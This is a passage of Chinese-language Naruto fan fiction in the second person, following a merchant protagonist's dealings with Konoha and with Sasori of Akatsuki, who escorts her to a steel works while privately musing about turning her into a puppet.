然后,时间回到现在,他早就已经将这个消息告诉火影大人,现在他又要将新的情报送到她的手里。 来到火影大楼,在上楼的时候偶尔之间遇到了宇智波鼬,就是刚才在鹿丸的回忆里一闪而过的宇智波鼬,后者见到鹿丸和老师阿斯玛颇有礼貌地微微俯身问好。 尽管宇智波鼬的表面装得滴水不漏,但鹿丸还是感觉到了他对自己的审视,是他知道了什么吗?从哪里得到了什么消息吗?所以才会用这种眼神看他? 这个世界上没有不透风的墙,所以哪怕宇智波鼬真的知道了点什么,鹿丸也不会觉得奇怪的。 鹿丸无意间与宇智波鼬对上视线,对方的眼瞳漆黑,了解宇智波一族的人看到他们的双眼都会下意识地产生警惕,鹿丸也不例外,他的神经有些紧绷,而宇智波鼬像是感知到他的紧张,对他笑了一下,说:“你们也是来找火影大人的吗?” 鹿丸说:“是啊。” 他也是来找火影的?为了宇智波的事情吗?他现在担任木叶警卫队的副队长,未来等到他的父亲退位就是队长,再然后就是宇智波一族的族长了。 大家族不都是这样的吗? 宇智波鼬说:“那我们正好顺路。”《 》 45-50 第46章 鹿丸和宇智波鼬的交集不多,毕竟他们平日里也没有太多工作上的交叠内容,宇智波鼬大部分时间都在木叶警卫队工作,所以在鹿丸成为中忍以后和宇智波鼬的见面次数可能还没有当初在忍者学校时看到他来接自己的弟弟佐助来得多。 前面说了那么多就是为了说明他和宇智波鼬的关系只能算是点头之交,可就是这样淡如水的关系,对方却有意和他并肩同行,总不能说是他宇智波鼬突然心血来潮想要联络感情吧?这个解释就太牵强了。 在短短几秒内鹿丸大概能够猜到宇智波鼬的真实想法,但是……对方毕竟是未来的宇智波族长,而且目前还负责警卫队的事务。 无论怎么看他都不能表现出太明显的防备姿态,鹿丸调整自己的表情,说:“啊、好。” 鹿丸从来没觉得从底楼到火影办公室的路途会那么漫长,那么的遥远,在这途中他还得要分出一部分的注意力应付宇智波鼬的提问。 宇智波鼬略带疑惑地问道:“鹿丸君为什么好像很紧张的样子?是因为我的缘故吗?” “不……也没有。”鹿丸反驳道。 “是么。”宇智波鼬仍然维持着笑容,是那种浅淡的,让人看不穿的笑容,鹿丸果然很讨厌这种捉摸不透的感觉。 从某种程度上来说,宇智波鼬和你很像,他指的是令人难以捉摸的这方面。 但有一点不同,那就是鹿丸在与你相处的时候,听你说话时他内心这股惴惴不安的感觉没有那么明显,或许是因为在他的潜意识里认为你顶多就是利用他,还不至于到伤害的地步,如果换成宇智波鼬的话……那就不好说了。 无法预测宇智波鼬的下一步举动是什么。 终于走到了火影办公室所在的楼层,在鹿丸即将到达办公室的时候宇智波鼬冷不丁地说:“是因为上次的出村任务很棘手吗?才会让鹿丸君那么忧心?” 看吧,果然开始问了,询问出村任务的情况,好在这时候鹿丸的老师阿斯玛站出来,说:“抱歉啊,这个任务属于机密,我想你应该也能理解的吧?” 把问题给挡了回去,宇智波鼬点点头,说自己明白,然后与他们师生二人一同走进火影办公室,他是来递交这个月警卫队的工作汇报的,按理来说交完报告就应该离开的,但他的脚步停留在原地,没有半分要走的意思,还是纲手问道:“怎么了?你还有别的什么事情要报告的吗?” “没有,我只是以为火影大人您在看过报告以后会提出什么疑问,如果有的话我可以当即解答,这样就免得后续耗费多余的时间了。” 这话说得冠冕堂皇,鹿丸忍不住在心里这么想,或许有一部分原因确实正如他所说的那样,但他不相信宇智波鼬留在这里没有自己的私心。 这么说可能是带了点个人情绪的偏见还有刻板印象,但他就是觉得宇智波鼬想要打探他去茗之国的那次任务。 纲手说:“没有,你给的报告我看过了,写得很详细,很好,我觉得没有任何问题,所以你可以先退下了。” 既然都已经把话给说死了,宇智波鼬只能先行离开,在他走后纲手才松一口气,老实说,应对这个宇智波真是让她感到头疼,尽管知道他也是一心一意为了木叶好,但果然还是……算了,不想这些了,纲手将目光转移到鹿丸还有他的老师阿斯玛身上,“你们这次来又是为了什么?” 鹿丸将你写的信双手呈上。 纲手定睛一看,说:“原来是她的信啊……” 自从上次你和鹿丸达成合作后,这还是纲手第一次收到你的信,她先前还觉得你主动抛出橄榄枝是个陷阱,但看完你写的信,纲手就觉得之前的自己看待问题可能还是带了些先入为主的观念,认为你很可能是在利用他们。 但是现在……你在信里写的内容是实打实地为木叶谋利益,看到这里,纲手也想起你在逃离村子前也在这里居住了十多年,这里相当于你的故乡,虽然你因为和宇智波的矛盾而离开,但这一点不会发生改变。 或许你是真的发自内心地希望自己的故乡能够好起来的吧。 纲手放下手中的信纸,说:“那就按照她说的做,鹿丸,接下来一段时间要麻烦你了。” 简直就像是被给予厚望,如同童话故事里和恶龙斗智斗勇的勇士,鹿丸扯了扯嘴角,但他很清楚,你是比恶龙还要危险的存在。 后来纲手又交代鹿丸一些事情,后者都耐心地听着,听到后面却又开始不由自主地走神,他的视线看向窗外,今天的天气很好,阳光灿烂,万里无云,是个很适合出去散步的天气,你或许也会出门散步的吧,但因为不喜欢被阳光直接接触皮肤的感觉,所以在出门前总会再戴上一顶有着宽大帽檐的遮阳帽。 那帽檐会将你的大半张脸遮住,只余出下半张脸,余出玫瑰色的嘴唇。 他的思绪漂浮在这里,戛然而止,如同飘在半空中的泡泡被人突然戳破,纲手说:“好了,没有别的事情那就先退下吧。” 也不是完全没有别的事情,他觉得自己现在就有点 情况,他走出火影办公室,他的老师阿斯玛还有别的任务,所以没和他一块出来。 走出火影大楼,鹿丸路过训练场的时候看到正在训练场里修炼得满头大汗的鸣人。 可能是你先前说的话发挥了作用,他停下脚步,鬼使神差地对着鸣人挥挥手,后者抬手擦去汗水,神采奕奕地朝着鹿丸跑来,带起一阵小小的旋风,他说:“是鹿丸你啊,怎么无精打采的?又要去出任务了?” “暂时没有什么任务,而且你难道不知道奈良一族每年都有固定一段时间是不接任务的吗?” 鸣人很显然是不知道的,他眨巴眨巴眼睛,“啊?”了一声,“为什么啊?” 就不该和这家伙说这些的,但是话题都已经开了个头,要是不说完的话他肯定就又要叽叽喳喳个不停,所以鹿丸略带无奈地说:“因为要收割鹿角啊,算了,这些不是重点,你吃过午餐了吗?该不会是从早上一直修炼到现在都没吃过东西吧?” 鸣人挠了挠头,“没有啦,我早上吃了饭团的,还有鹿丸你干嘛突然问这个啊?” 你的声音再次在他脑海里浮现,鹿丸说:“没什么,就是突然想要请你吃拉面了。” “诶诶诶——真的吗?真的假的?太好啦——!”鸣人欢呼一声,突然意识到有什么不对劲的地方,就又问:“那个啊……鹿丸你为什么突然那么好心请我吃拉面啊?该不会是有什么麻烦的事情要交给我吧?” 看来也没有那么笨蛋嘛,鹿丸说:“没有,就是单纯想要请客而已,如果你不愿意就算了。” “啊啊啊、才没有!我愿意!我当然愿意!”鸣人折返回到训练场拿起自己的外套然后跑回到鹿丸身边,元气满满地说:“那现在就去吃拉面吧!” “鸣人你的嗓门就不能小一点吗?” 鸣人嘿嘿一笑,从善如流地对着鹿丸道歉,说:“抱歉抱歉——”他这就是太高兴了嘛。 他还是这个老样子,那么容易高兴,心里装满了心事的鹿丸可做不到他那么轻松,果然人与人之间的情感是不能共通的,不过这样也好,如果你看到现在鸣人的样子估计也会感到高兴的吧。 思绪又一次飘到你身上了……啧,真麻烦。 鹿丸说:“这段时间鸣人你有接到过出村的任务吗?” “没有诶,也真是奇怪,难道是因为那些委托人更加喜欢鹿丸你这样的头脑派吗?可恶,怎么感觉我一点优势都没有啊……”鸣人说着说着就开始碎碎念,声音也变低了一些。 看来是上头的人意识到鸣人身为人柱力这段时间不适合离开村子,所以特意没给他安排出村的任务吧。 只不过这样下去也不是个办法,总不可能当一辈子的缩头乌龟吧?而且一直躲在村子里鸣人总有一天也会产生质疑的。 算了,还是等到那一天真的到来的时候再说吧。 目前的情况就是走一步看一步了。 两人来到拉面店,鸣人熟练地点单,找了个位置坐下,发现鹿丸没有跟过来,就热情地对着他挥挥手,说:“鹿丸快过来啊,这里正好有个空位置!” “啊,知道了……”鹿丸一边应声一边朝着那个空位置走去。 坐下以后鸣人就将冰水推到鹿丸的手边,同时奇怪地说:“为什么感觉鹿丸你好像心事重重的样子啊,嗯,我用的词语应该没错吧?就是心事重重。” “人长大以后不就是会有各种各样的烦恼吗?”鹿丸说,“这也是没办法的事情啊。” 嗯……话题一下子就变得沉重了许多啊,鸣人不否认他的说法,烦恼吗……?他好像也有属于自己的烦恼,苦恼于你好像还是把他当成小孩子,苦恼于自己仍然没有得到周围人的认可。 有好几次他梦见自己成为火影,所有人在赞美他,感谢他的存在,梦里的你也是,用漂亮的双眼看向他,对他说着“我知道鸣人肯定能够做到的”这种话语,然后就是甜蜜的亲吻,啊、打住打住—— 鸣人的脸色逐渐涨红,鹿丸疑惑地看向他,说:“你该不会是想到了什么不好的东西吧?” “啊啊啊——没有,绝对没有!”鸣人矢口否认,他端起水杯喝了好几口冰水,最后甚至咔滋咔滋地咀嚼着冰块。 这幅样子反而更加可疑了啊……鹿丸没有把这话说出口,他们点的拉面被端上来了,热气腾腾,鸣人迫不及待地吃了好几口才缓和脸色。 心情总算是平静下来了。 身边的鹿丸安静地吃着拉面,他想,他刚才有在好好地完成你布置的任务。 就是不知道你那边又是什么情况。 你这头的情况可没有鹿丸想得那么悠闲,你在茗之国有多待了一两天,然后就又要去别的地方查看当地产业的发展情况,几乎是连轴转。 唯一值得高兴的就是你这次外出坐的是火车,所以总算是不用再忍受那些马车的颠簸了,真是可喜可贺啊。 火车的头等座车厢里就只有你和白两个人,除了座椅还有专供睡眠的柔软床铺,你看书看得累了就平躺在上面睡觉,一觉醒来差不多就到了茗之国的国境线,唉,接下来就又只能坐马车赶路了。 “真希望铁路能够蔓延到全世界。”你说,但按照这种发展速度,你觉得在宇智波带土的月之眼计划前你是没办法让世界各地都铺满铁路的。 说起宇智波带土那所谓的月之眼计划,你到现在还是觉得这个计划和缸中之脑有着异曲同工之处,都是通过让所有人沉浸在虚幻的世界里从而达到美好的结局,只能说他是个彻头彻尾的理想主义者吧。 按照你接下来的计划就是先去绳之国一趟,查看那里的钢铁冶炼情况。 但计划赶不上变化,当事情的进展太过顺利的时候就要开始思考是不是会出现什么意外情况了。 就比如说现在,你还没到绳之国就在半路遇到一个不速之客,你看着对方奇怪的身形,呃,他这是在匍匐前行吗?但他披在外面的披风你倒是很眼熟,那不是晓组织统一的制服吗?这么说来他就是迪达拉还有带土的同事了? 你还算有礼貌地对着他打招呼,你说:“晚上好啊,请问你突然拦在我们的去路上是有什么事吗?” 对方在注视着你,但你总觉得那双眼睛不太真实,有点像是人偶的眼睛,黯淡无神,过了一会他才开口,说:“你就是那个耽误了迪达拉很多时间的女人?” 从他这句话里可以提取出几个信息,首先他和迪达拉的关系好像很熟悉,其次,他是个不懂得尊重女人的家伙。 既然他都这么没礼貌了,那你也没必要给他好脸色,你说:“你的声音还真难听啊,怪不得迪达拉背后这么说你。” 没错,你就是在毫无心理负担地挑拨离间,反正他们也只是同事关系而已,而且平心而论,他的声音确实不好听,粗糙得感觉多听一句话都会伤害到你的耳朵。 守在你身边的白知道对方的真实身份,那就是晓组织的赤砂之蝎,不同于气定神闲的你,他已经进入备战状态,一旦对方展露出些许恶意,那他就会毫不犹豫地发动攻击,保护你是他的使命。 赤砂之蝎沉默了几秒,然后说:“你很有胆量,居然还敢对我说这种话,就不怕我杀了你?” 唉,他们晓组织的人是不是有着一套完整的员工培训流程啊?怎么每个人一上来就都说我要杀了你,他们成员之间难道就没有举办团建增进友谊吗,平常都不聊天的吗?迪达拉没和他说过威胁你的下场吗? 他的身边都已经有这两个前车之鉴,他居 然还能这么理直气壮地挑衅你,只能说他对自己充满了信心。 你说:“你没有杀死我的理由,而且你还是特意来看我的,如果你真的只是来杀人的,那么你从一开始就会动手,但是你没有。” 说了这么一串话就像是在说绕口令,你自己都觉得有点好笑,你微微俯身,伸出手,手指即将触碰到他的斗笠,就在这时他忽然抬起头,似乎是在恼怒于你的靠近。 但也仅仅只是停留在恼怒的阶段,没有下一步行动,你也顺势得以看清他的面庞,不太像是人类的质感,更像是傀儡,你明白了,现在在你面前的只不过是一具傀儡而已,至于本体在哪里,那就不得而知了,你的手指缓缓靠近,最终指腹落在他的额头。 果然,是有些冰冷的触感,你半开玩笑地说:“你好像冷冰冰的啊。” 一语双关了,无论是性格还是皮肤的触感都是冷冰冰的。 白还在担心你会被袭击,但是他担心的事情并没有发生,蝎说:“你就是用这种手段拉拢的迪达拉么?” 干什么啊,这还听起来就像是自己的朋友被人渣欺骗了感情然后他气势汹汹地找上门来算账似的,但你好像根本就没有欺骗迪达拉的感情吧?你顶多就是稍微利用他给打白工而已,但这又有什么错呢?这么优秀的劳动力放着不用难道不是浪费了吗? 你这叫做资源合理利用,而且你也没有逼迫迪达拉,这一切都是建立在你情我愿的基础上的,所以你对蝎说:“没有啊,我和迪达拉是朋友哦,朋友之间互帮互助也是很正常的吧?” 互帮互助?蝎发现你确实很擅长玩弄文字游戏,他说:“你只是把他当成朋友?但他可不是这么想的。” “蝎先生,你总不会是专门找过来为自己的搭档打抱不平的吧?没想到你还负责调节人际矛盾啊?” 说完这话你就直起身,你本来还想着在附近找个旅馆住下的,但是失策了,这里那叫一个荒郊野外,人迹罕至,别说是旅馆了,黑夜里你都没看见什么灯火,这一片地区倒是很适合荒野求生,你心态乐观地这么想。 总之还是先在这附近找一块平地搭建帐篷吧,蝎的到来没有打乱你的计划,你还是该干嘛就干嘛,找到空地搭建帐篷每个流程都和白一块合作。 至于赤砂之蝎,你回过头一看,发现他还杵在那里,因为是傀儡所以你无法通过表情来判断他现在的心情,你说:“那么你呢?你今晚又该怎么过夜?” 这是你需要考虑的事情吗?赤砂之蝎的内心冒出这样一道声音,他算是发现了,你好像认为自己不会伤害你,而且还很没有边界感地关心他。 真是个没有边界感的家伙。 他说:“你今晚还睡得着?”他的意思是身边还有个晓组织叛忍的情况下你居然还睡得着? 但你好像误会了他的意思,你环顾四周,最后目光落在帐篷上面,你说:“虽然条件一般了一点,但总的来说还算是勉强凑合吧。” 他想问的可不是这个啊。 在帐篷里铺床垫的白探出脑袋,说:“明希,铺好了,现在可以休息了。” 于是乎你和赤砂之蝎的对话到此为止,你舒舒服服地窝在帐篷里,白守在你身边,他一点睡意都没有,因为他知道如果帐篷外的赤砂之蝎想要动手的话,他这边的胜算并不大,归根结底还是因为自己太弱了,没办法更好地保护你。 原本已经闭上眼睛的你突然开口,说:“不用担心哦,他不会对我们动手的。” “明希你为什么那么肯定呢?” “因为他对我很好奇,好奇会让一个人想要接近对方,了解对方,但不至于马上杀死对方。”你把话说得很直接,白听到这里,他垂下眼帘,柔顺的黑色长发落在你的额角,他说:“那我不希望他对明希你感兴趣。” 吸引他人的好奇心并不是一件好事,白想,而且赤砂之蝎和之前那些人不太一样,也许是因为他的身份是傀儡师?所以打量你的目光里更像是在衡量你成为傀儡以后的收藏价值,这让白更加不安了。 快要睡着的你伸出手拍拍白的手背,说:“那要来打赌吗?赌他会不会变成我们的朋友?” 白小声地说:“我也不是很想和他当朋友啊。” 白很少把话说得这么直白,他在你面前的时候说话总是委婉的,经过斟酌的,你轻轻地笑了一声,只用气音在笑,你说:“多点朋友也没什么坏处的嘛。” 关键在于对方万一不是只想当你的朋友呢? 这时候的你已经睡了过去,白将帐篷里的灯亮度调到最暗,朦胧的灯光笼罩着你熟睡的侧脸。 白时不时看向帐篷外,那道身影还在。 这样的僵持持续了一整晚,你醒来的时候白还说:“他还是没有离开。” 第47章 对此你的反应平淡如水,这个话题还不及你今天早餐吃什么来得重要。 于是你不咸不淡地“哦”了一声,然后又问:“今天早餐吃什么?” 白说:“只能先吃一点三明治将就一下了。” 要是放在往常他可是会为你精心准备早餐的,只不过现在你们还在野外,条件有限,好在你也不挑,能吃就行,你洗漱过后拆开三明治安静地吃着,白还在旁边收拾帐篷,你咀嚼到一半就问蝎,“你不用吃东西吗?” 原本以为对方不会理你的,但他居然还真的回答了,他说:“我早就已经省去这种麻烦而且没意义的活动了。” 说得那么高大上,其实就是不需要吃东西了,你咽下三明治,果然你还是有些难以想象如果不能进食的话生活会变成什么样,总觉得那样会缺少一些生活的乐趣的吧? 但这属于个人选择,你表示尊重,吃完最后一口三明治,你又问:“那你接下来要和我们一起吗?我们要去绳之国,还是说你还有任务在身?” “听上去你似乎对晓组织的一举一动都很熟悉,这些都是迪达拉告诉你的?那家伙真是口无遮拦,居然什么都告诉了你。”蝎像是在数落迪达拉,但其实迪达拉向你透露的情报不算多,大部分都是宇智波带土告诉你的。 在床上的时候说的。 顺带一提,这也不是你主动问的,而是他事后开始絮絮叨叨地说些有的没的,一直在你耳边碎碎念,你听得耳朵都要起茧子了,你尝试过阻止他,但是无果,他还是一个劲地继续说,不过后面你想到或许是因为他太久没有和别人聊过天。 和晓组织成员的聊天可不是真正的聊天,毕竟那是和自己的同事聊天啊,谁能和同事敞开心扉的聊天啊?反正你在上辈子都无法做到,更别提这辈子了,所以你思考一会后也就表示理解。 任由宇智波带土说个不停,反正他说他的,你干你的事情,你们两个也算是互不打扰,在某种程度上达成了微妙的平和局面。 所以时间回到现在,赤砂之蝎这么说还真是误会了自己的搭档迪达 拉,但你没有反驳,就让他这么误会下去好了,反正到时候起矛盾的是他们成员内部和你也没有太大的关系,你甚至还能旁观看戏。 短短几秒内你在大脑里思考了那么多的东西,但面上还在礼貌地笑着,就像是在认真听迪达拉说话。 “但我也不会对你们构成威胁,我只是一个想要赚钱的商人而已啊,你们做什么和我也没关系。”你摊手,眼角的余光扫到白那边,他已经收拾好了帐篷,将其收到储物卷轴里,看样子你们可以再次出发了。 蝎说:“绳之国?你们去那里又做什么?” 你给出一个敷衍的回答,你说:“啊……就是去旅游的啊,喜欢享受生活的人就是这样的,难道你不喜欢旅游吗?旅游可以看遍世界各地的风景,而且还能放松身心哦。” 蝎问这个问题可不是听你说这些有的没的的,他怎么可能没看出来你这是在敷衍他,估计就只有迪达拉那个小鬼才会被你这点手段骗得团团转吧,他说:“你省省吧,我可不吃你这一套。” 行吧,这话他已经说过不止一遍了,他的台词查重率很高啊。 对此你撇撇嘴,不吃就不吃呗,你又不是一定要和他打好关系,你手头的员工都挺好用的,而且还听话,没必要再找一个说话难听而且还态度一般的人当你的员工啊,你只是稍微有点好奇他的傀儡术技术能否量产。 你先前曾经从迪达拉嘴里听到过关于他的搭档赤砂之蝎的事情,在迪达拉看来对方是个和自己追求的艺术背道而驰的家伙,但是不可否认的,他确实很厉害,是当之无愧的最强傀儡师。 傀儡的话……是否能够作为机器人的前身呢?虽然在如今这个铁路都还没有普及的世界研究机器人稍微有点超前了,但是,你这叫具有前瞻性,毕竟一旦社会进入发展期,时代洪流那叫一个滚滚而来。 于是你这次在赶路的时候显得没有那么着急,你还能饶有兴致地询问他制作过多少个傀儡。 “你对这个很感兴趣?”他反问。 “我对一切能够促进社会发展的东西都很感兴趣。”你说。 蝎不置可否,你的目的很明确,他倒是不讨厌这种一开始就将自己的目的摆在明面上的人,至少还能省去一些不必要的拐弯抹角而且还能节省时间。 透过傀儡,他看向你的侧影,你的长相毫无疑问是美丽的,不同人对于美丽的反应也各不相同,有的人希望保护这份美丽,而别的人则是会产生占有欲,赤砂之蝎显然属于后者,在他沉默的间隙里他思考的是如何将你制成自己的收藏品。 首先不能让你的死状太难看,最好是用毒,而且还是不会影响外表的毒素,只会毒害你的内脏,到时候处理那些内脏器官也会更加方便一些,其次就是皮肤的保存,越是细腻的皮肤保存起来就越是麻烦,还好他在这方面有着丰富的经验,他处理过很多这样的尸体。 正所谓熟能生巧,任何一个技能都是这样的,更别提他在这方面还有着与生俱来的天赋,这两者叠加起来的结果就是他现在处理尸体的技术出神入化。 他可以肯定自己能够将你的皮肤处理得很完美,你会成为他所有收藏品里最漂亮的一个,他甚至都不会将你用在战斗上面。 一旁的你感受到赤砂之蝎的目光,虽然没办法读心,但是你也能从对方的视线里读出一些别样的情感。 算了,这个世界的人本身都不太正常,你在这里活了二十年左右早就已经明白这个道理了。 你说:“为什么要一直盯着我看?我的脸上有什么东西吗?” 赤砂之蝎说:“只是觉得你要是变成我的收藏品会是最漂亮的一个。” “你的收藏品是活的还是死的啊?”你还能好奇地这么问,赤砂之蝎声音沙哑地笑了一下,说:“当然是死的。” 这样啊,你说:“但果然还是活着的人更加鲜活不是吗?只有活着才会产生无限可能,甚至还会给你带来惊喜,你那么喜欢掌控一切,是因为在你小时候发生过不可控的事情吗?啊……他们都说不幸的童年需要一生来治愈,你现在治愈好了吗?在我看来好像没有啊,你仍旧躲在暗处,以为能够控制一切,但其实你和年幼的自己也没有什么区别嘛。” 你笑眯眯地说着刺痛人心的话,赤砂之蝎果不其然地生气了,忽然出现的蝎子尾巴机关抵着你的咽喉,下一秒,那泛着寒光的尖刺就要刺穿你的喉咙,还是白眼疾手快地用匕首挡下这个攻击,他不悦道:“你想要做什么——!?” 赤砂之蝎用傲慢的态度评价白的防御,说:“反应倒是挺快的,但是力量不够,让这种小鬼头当你的守卫,看来你也没有多明智嘛。” “不要因为我刚才说的话戳中你的心窝就开始攻击别人啊,这只会证明我说的都是实话而已。” 估计蝎也是第一次遇到能够这么理直气壮和他呛声的人吧,但你并不觉得自己这是在呛声,顶多就是在说真话,只不过并不是所有人都喜欢听大实话,大部分人都会觉得实话太尖锐刺耳,就连赤砂之蝎也不例外。 你说:“如果我刚才说的话冒犯到了你的话,那我向你道歉。” 虽然你的道歉没什么诚意,听上去轻飘飘的,又是那么敷衍,落在赤砂之蝎的耳朵里更像是挑衅。 但奇异的是他居然不会为此而生气,甚至还在隐隐期待你会说些别的什么,他说:“之前你和迪达拉相处的时候也是这样的么?” 那可不一样啊,首先迪达拉比他年轻貌美,其次迪达拉可比他好应付多了,你随便说两句话迪达拉都会相信,所以说人的年纪上来以后就会变得多疑是吗? 更重要的一点是迪达拉好说话多了,不像赤砂之蝎那样油盐不进,你说:“这个问题的答案取决于你想听真话还是假话。” 这话说得足够明白了吧?赤砂之蝎过了一会才说:“看来是不一样的。” “你有这个自知之明就好。”你笑眯眯地说。 在路程的后半段,你和赤砂之蝎的关系有所缓和,但陪在你身边的白还是没有放松下来,他仍旧神经紧绷,注意力都在赤砂之蝎上面,留意着他的一举一动,一旦他做出任何威胁你生命的举动白就会毫不犹豫地攻击他。 等到了绳之国,你在正式进入国都之前对赤砂之蝎说:“你确定要用这幅姿态进入国都吗?我可不想让其他人觉得我和晓组织是一伙的啊。” “你现在倒是想要和晓组织撇清关系了?如果现在站在这里的是迪达拉你也会那么说吗?” “不会啊,因为迪达拉都不需要我提醒就会直接换一身衣服,而且还会把自己打扮得很拿得出手,可不会像你一样啊。”你承认自己说的话有些直接了,但对于赤砂之蝎这样的角色不说得直接一些他很可能会理解成另外一层意思。 这个世界的忍者理解能力实在是堪忧,有的理解能力太好,而且还很擅长发散思维,你这里指的是宇智波鼬,有的则是需要你说得明白一些,再明白一些才行,这个你指的是宇智波带土。 赤砂之蝎最后有所让步,但也只是把傀儡外面的晓组织披风给换了而已,然后就没有然后了。 也行吧,你就当是自己养了个大型宠物带进城里,这样一想你就觉得合理多了,你来到国都以后还有专门的负责人领着你参观钢铁冶炼厂,那些负责人看见你身边的白还有赤砂之蝎的时候,尤其是后者,他们的眼神里都会浮现出些许疑惑的神色,但很快就又将注意力转移到其他地方。 你走在前头,听这里的负责人向你介绍冶铁的产量还有效能,你一边听着偶尔还会提出几个问题,落在后面的白和赤砂之蝎偶尔也会说两句话,但聊天的气氛算不上多友好,赤砂之蝎说:“你的血继限界倒是很稀有,估计 她也是因为你的血继限界才让你当守卫的吧?但要我说,你的实力和真正的高手相比较而言还差得远了,总有一天你会因为自己的弱小而无法保护她的。” 白说:“你好像把明希想得太弱小了,实际上虽然她没有忍者那样强大的力量,但是,她的内心可比你,以及其他晓组织的成员强大许多,你刚才不就是因为她说的几句话就恼羞成怒了吗?被他人牵动情绪,只能说明你的内心也没有那么坚定。” 赤砂之蝎没说话,但他保持沉默不代表他认同白说的话,他只是在思考该如何杀死你,在不破坏你的皮囊的基础上杀死你,如果杀死你的话,估计这个叫做白的家伙也会崩溃的吧?那他到时候肯定会好好欣赏对方崩溃的表情的。 走在前头的你忽然回过头,对着白招招手,白小步跑到你身边,问道:“怎么了?” “待会他会把整理好的文件交给你,你就负责核对这些文件的数据,麻烦你啦。”说着,你拍拍白的肩膀,后者点了点头,说:“嗯,我会好好完成你给的任务的。” 负责人又说:“那么就麻烦白先生和我去一趟办公室了。” 为了保险起见白派出的是分.身,自己的本体则是留在你身边,这主要还是为了提防蝎趁机对你动手,你穿过工厂内部来到后面的休息区,又问赤砂之蝎,“刚才那些流水线你觉得也需要改进的地方吗?” 赤砂之蝎占据着你身边的位置,他问道:“你这话是什么意思?”你在征询他的建议?但是,你之前不还是将他当做敌人吗? 冷嘲热讽地反问道:“我不知道你原来还喜欢向叛忍寻求建议。” “叛忍又怎么了吗?我不会因为一个人本身是好人就对其言论全盘接受,也不会因为对方是坏人就否认他说的所有话,再者说了,叛忍只是一个立场定义的问题而已。” 也不知道你这么说他能不能明白,看样子应该是明白了的,他说:“那几条流水线效率都太慢了,有些环节完全可以整合在一块。” 看吧,你就说晓组织里一个个的全都是人才,蝎还能给你提出流水线修改的建议,根据他的建议修改过后的效率能够提高30%甚至是更多,所以你对他的态度也变得和颜悦色起来,你说:“你的这些建议我都会好好考虑的。” 蝎还是在疑惑着,他说:“就只是这样么?你要问的就只是这些?” “是啊,为了表示感谢,你想要什么报酬?” “我想要你。” “嗯……这个不行。” 赤砂之蝎冷哼一声,像是在嘲讽你的小气,他说:“那我就没有别的什么想要的东西了。” 你耸耸肩,“好吧。”那可是他自己说的啊,可不是你不愿意给报酬啊,你又不是那么小气的人,你给钱一向很阔气的好吧。 在夜幕降临后你差不多也该休息了,你住在专门的客房里,在顶层,那一整层都是用来招待你的。 洗过澡以后的你端着红酒走到阳台上俯瞰这座城市,不远处就是大名的宫殿,正灯火通明着,你微微眯起眼睛,举起酒杯,透过暗红色的葡萄酒那座王宫也被蒙上一层淡淡的血色,只要你想,这个小国家的君主还有贵族也只不过是你的棋子而已。 夜风袭来,吹动你脸颊两侧的碎发,你捕捉到身后的动静,是赤砂之蝎,你没回过头,只是说:“你这样移动发出的动静连我这个普通人都能听见,在战斗的时候真的不会被发现吗?” “他们就算发现了那又怎样?最后还不是会死在我的手里?”赤砂之蝎说得轻描淡写,不是在夸张,而是他已经这样做过很多次了,所以才会有如此的自信。 你倚靠着阳台的围栏,说:“就不能让我看看你的真容吗?你长得不好看吗?对自己的长相没有什么信心?” “傀儡师在战斗的时候不需要现身。” “我知道,但是,现在并不是战斗。”话语间你朝着他走去,微微弯下腰,凝视着他的面容,仿佛透过这具傀儡看向真正的他。 也不知道过了多久,你直起身,又喝了两口红酒,耳边忽然传来咔哒咔哒的动静,你的唇角微微上扬,侧过头一看,有着一头红发的少年出现在你面前,他的手肘还有其他关节都已经被改造成傀儡的模样,可偏偏长相又精致得很,尤其是那双眼睛。 他看了过来,与此同时又朝你走来,说:“现在你满意了?” 你伸出手,指腹触碰他的脸颊,冷冰冰的,不像是人类的皮肤,你说:“既然都已经要改造成傀儡了,为什么还要维持人形呢?” 就跟机器人总是要做成人类的形态是一样的奇怪。 他的眼珠转动了一下,更像是人偶了。 能说吗,感觉他就像是大型的BJD,而且还是那种做工精致能卖出高价的那种类型。 “因为现在还没有完全改造成功。”他说到这里语气中还带着点可惜,就像是在厌恶着尚且还是人类的自己。 你点点头,说:“那祝你早日成功。” “如果继续活下去的话,总有一天你的机体也会衰老,光滑细腻的皮肤上也会出现皱纹,就连举动也会变得缓慢迟钝,你难道能够容忍这样的自己吗?” ……又来了,这里的忍者是真的很喜欢拉着别人一起讨论这种哲学问题啊,你撇撇嘴,心说自己可不是来当心理辅导的,你说:“不一定,可能在衰老之前就突然死去了,毕竟人不是只有老了才会死,而是随时都有可能会死。” 蝎说:“如果真的是这样,我会好好回收你的尸体的。” 不是,他能想到的就只是这个吗?你在讨论人生的意义,他在思考怎么处理你的尸体,你们聊天都不在同一个频道上啊。 你说:“那估计有点难,因为到时候肯定会有很多人来参加我的葬礼。” 赤砂之蝎好像在认真地思考从那些人手里夺走你的尸体的成功率有多高,根据他对你的调查,你接触的人里不光有晓组织的人,还有木叶的人,以及其他村子的忍者,嗯……确实有点难。 “那就只能抢在他们之前先下手了。” 这不是讨论的重点吧,你说:“但人果然只有在活着的时候才会更加鲜活而且讨人喜欢吧?” “快要变成人偶的你还能够感受到温度,嗅到花香,听到自己的心跳声吗?” 说完这话你就把酒杯里的葡萄酒喝完,说实在的,你觉得赤砂之蝎业务能力肯定很强,就是思想喜欢走极端,他要是能老老实实地给你干活也不失为一个优秀的员工,只不过这真的很难做到。 你回到自己的房间,洗漱过后入眠,已经改造成人偶的赤砂之蝎倒是不怎么需要睡眠,因此他有一整晚的时间用来思考你说的话,并且在时间临近清晨时突然捕捉到从天际翱翔而来的飞鸟,定睛一看,那不是他的搭档迪达拉吗? 对方一看就是急匆匆地赶过来的,那样子风尘仆仆,降落的时候都顾不上太多,直接问他:“明希……你怎么会和明希在一起啊?你该不会已经对她动手了吧?她一点也不适合成为你的收藏品啊!” 那么激动的样子真是难看死了,赤砂之蝎拍开迪达拉的手,说:“你说的这些我都不太明白。” “等等——那你的意思是没有对明希 下手吗?”迪达拉微微睁大眼睛,不由地松了一口气,他在来的路上,不对,应该是在得知这个消息的时候就被吓了一跳,都顾不得自己接下来的计划,当即就赶来你的身边,他也不是在担心你,他就是觉得赤砂之蝎很可能会控制不住自己。 第48章 看到自己的搭档因为你而自乱阵脚,赤砂之蝎就忍不住暗骂一句,“你到底有没有在认真听我说话?” 迪达拉还是想要先见你一面,于是他对赤砂之蝎说:“等一下,你稍微等我一下。”说完这话他就跑到你的房间里,和负责守夜的白四目相对,后者皱起眉,那表情仿佛在无声地问:你这家伙为什么会出现在这里? 